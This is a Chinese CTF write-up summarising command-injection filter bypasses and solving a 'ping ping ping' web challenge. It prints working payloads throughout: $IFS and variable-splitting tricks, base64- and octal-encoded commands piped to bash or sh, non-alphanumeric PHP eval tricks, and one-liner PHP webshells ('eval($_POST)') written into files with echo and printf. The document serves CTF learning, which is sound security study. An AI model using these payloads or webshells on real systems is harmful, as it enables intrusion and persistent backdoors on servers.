CTF—命令执行总结

admin 2021年4月2日12:22:42评论366 views字数 4139阅读13分47秒阅读模式


CTF—命令执行总结

沙漏安全团队

欢迎真正热爱技术的你!


前言:最近遇到了好多命令执行的web题,这就来总结一下这方面的知识!!

绕过姿势总结

空格绕过

常见的绕过符号有:$IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、> $IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名, 加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用 ;为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。不仅 $9可以使用,我试了试其他的数字也都可以正确绕过。

CTF—命令执行总结

命令分割符

%0a  换行符,需要php环境%0d  回车符,需要php环境;   shell 中,是”连续指令”,这个与下面的`|`作用类似管道符:&(就是按位与),&前面和后面命令都要执行,无论前面真假&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令|(就是按位或),直接执行|后面的语句||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

关键词过滤

当ls被过滤时:a=l;b=s;$a$b 当cat flag被过滤时:a=c;b=at;c=f;d=lag;$a$b ${c}${d} #cat test文件内容 a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test

编码绕过

#base64echo Y2F0IC9mbGFn|base64 -d|bash ==>cat /flagecho Y2F0IC9mbGFn|base64 -d|sh==>cat /flagecho Y2F0IGZsYWcucGhw|base64 -d|bash==>cat flag.phpecho Y2F0IGZsYWcucGhw|base64 -d|sh==>cat flag.php#hexecho "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag#oct/字节$(printf "154163") ==>ls$(printf "x63x61x74x20x2fx66x6cx61x67") ==>cat /flag{printf,"x63x61x74x20x2fx66x6cx61x67"}|$0 ==>cat /flag#i也可以通过这种方式写马内容为<?php @eval($_POST['c']);?>${printf,"7477160150160401001451661411545044137120117123124133471434713551737776"} >> 1.php

单引号双引号绕过

c'a't testc"a"t test

反斜杠绕过

cat test

通配符绕过

[…]表示匹配方括号之中的任意一个字符 {…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。{…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开

cat t?stcat te*cat t[a-z]stcat t{a,b,c,d,e,f}st
CTF—命令执行总结

用>>追加命令写shell(字符限制,拼接换行)

CTF—命令执行总结

那么我们试试直接写马:

CTF—命令执行总结

要写post一句话的话也简单,先写入一个普通文件,然后cat写入php文件

CTF—命令执行总结

用反斜杠拼接执行命令

的作用,它不仅仅可以转义字符,若在命令最后,可以起到拼接的作用.

CTF—命令执行总结
CTF—命令执行总结

这里注意一个问题,使用单引号的时候反斜杠会写进语句的里面,所以我们使用双引号,然后再$的前面加一个反斜杠转义,就行了。

通过$PATH绕过

#echo $PATH 显示当前PATH环境变量,该变量的值由一系列以冒号分隔的目录名组成

#当执行程序时,shell自动跟据PATH变量的值去搜索该程序

#shell在搜索时先搜索PATH环境变量中的第一个目录,没找到再接着搜索,如果找到则执行它,不会

再继续搜索

echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

网络地址转化为数字地址

网络地址有另外一种表示形式,就是数字地址比如127.0.0.1可以转化为2130706433

可以直接访问

http://2130706433 或者

http://0x7F000001

这样就可以绕过.的ip过滤,在线转换网址:http://www.msxindl.com/tools/ip/ip_num.asp

CTF—命令执行总结

无字母数字构造Webshell

<?phpif(isset($_GET['code'])){    $code = $_GET['code'];    if(strlen($code)>35){        die("Long.");    }    if(preg_match("/[A-Za-z0-9_$]+/",$code)){        die("NO.");    }    eval($code);}else{    highlight_file(__FILE__);    //$hint =  "php function getFlag() to get flag"}
phpinfo() #php5、php7可执行(phpinfo)() #php7可执行

所以在php7的环境中,我们可以使用编码转换等形式,将phpinfo转换成一些不可见字符再传入到题目中,这样不仅绕过了正则的匹配,也成功的执行了函数,这里进行编码转换的方式有很多种,常用的有^~,这两种方法,

取反(~): 利用的是UTF-8编码的某个汉字,并将其中某个字符取出来, 比如:和的utf-8编码为xe5x92x8c,第三个字节和{2}的值为x8c,其取反值为-141,负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。141 的 16 进制为 0xff73,php 中 chr(0xff73)==115,115 就是 s 的 ASCII 值。因此

<?phphighlight_file(__FILE__);$_="和";echo (~($_{2}));echo (~"x8c"); //等同与上一句?>

下面是生成方式,使用URL编码的原因是,在进行“~”运算时,经常会生成不可见字符。

$a = "phpinfo";echo urlencode(~$a);%8F%97%8F%96%91%99%90 //phpinfo
?code=(~%8F%97%8F%96%91%99%90)();
$a = "getFlag";echo urlencode(~$a);%98%9A%8B%B9%93%9E%98 //getFlag
?code=(~%98%9A%8B%B9%93%9E%98)();

异或(^):

<?php    echo "A"^"?";?>
CTF—命令执行总结
CTF—命令执行总结

代码对字符"A"和"?"进行了异或操作.PHP中异或时会将字符转化ASCII值在转成二进制,再进行异或.异或完反过来转化成字符

A的ASCII值为65,二进制则是01000001

?的ASCII转值为65,二进制是00111111

异或二进制结果结果为10000000,对应的字符就是~.

用脚本跑,查看谁和谁异或得到的结果是我们想要的:

if __name__ == "__main__":    for i in range(0,127):        for j in range(0,127):            result=i^j            if(chr(result) is '想要的字符'):                print(' '+chr(i)+' xor '+chr(j)+' == '+chr(result))

参考了学长的博客,哈哈哈哈又收集了一个脚本,真香!主要是我太菜了!加油冲冲冲!

CTF—命令执行总结
var_dump('#'^'|'); //得到字符 _ var_dump('.'^'~'); //得到字符 P     var_dump('/'^'`'); //得到字符 0     var_dump('|'^'/'); //得到字符 S     var_dump('{'^'/'); //得到字符 T     $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");     //变量$__值为字符串'_POST'

做题实践

下面来实践一下,看题:

题目链接:ping ping ping 解法一:

CTF—命令执行总结

查看文件:发现flag.php和index.php

CTF—命令执行总结

我们先来看index.php里边有什么:

CTF—命令执行总结

空格被过滤了,下面进行绕过:?ip=127.0.0.1;cat$IFS$9index.php

CTF—命令执行总结

flag、bash都被过滤了,不过sh没过滤:

payload:?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

Y2F0IGZsYWcucGhw是cat flag.php的base64-encode

查看源码,找到flag:

CTF—命令执行总结

解法二: 既然flag被过滤了,那么我们用字符串拼接的方式来试试能不能绕过:

?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b.php

发现不行,那么将顺序颠倒一下:

?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

成功 解法三: 内联执行:将反引号内命令的输出作为输入执行。payload: ?ip=127.0.0.1;cat$IFS$9`ls`

直接把两个文件里边的内容都爆出来了:

CTF—命令执行总结

下面看这一题,命令执行——重定向:本题没有任何绕过,

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

CTF—命令执行总结

解法一:

payload:?ip=;echo "<?php @eval($_POST['A']);?>" >>666.php

这个解题思路是写进一句话到666.php下,然后通过蚁剑找到根目录下的flag.php

使用蚁剑连接,使用方法这里就不多说了,在根目录下面找到flag.php了!!!

CTF—命令执行总结

解法二: 通过post传参的形式,将flag.php重定向至自己命名的一个文件中。

CTF—命令执行总结

这里我就是将flag.php写进qwer.txt中,

然后访问qwer.txt就直接显示出了flag。

CTF—命令执行总结
CTF—命令执行总结

参考博客:

酉酉囧

CTF—命令执行总结

1emon~

CTF—命令执行总结

CTF—命令执行总结


 CTF—命令执行总结  


平顶山学院· 沙漏安全团队

    微信号|SLteam666

奋发努力|拼搏向上   

本期编辑|bosounho


本文始发于微信公众号(网络安全攻防训练营):CTF—命令执行总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月2日12:22:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF—命令执行总结http://cn-sec.com/archives/189017.html

发表评论

匿名网友 填写信息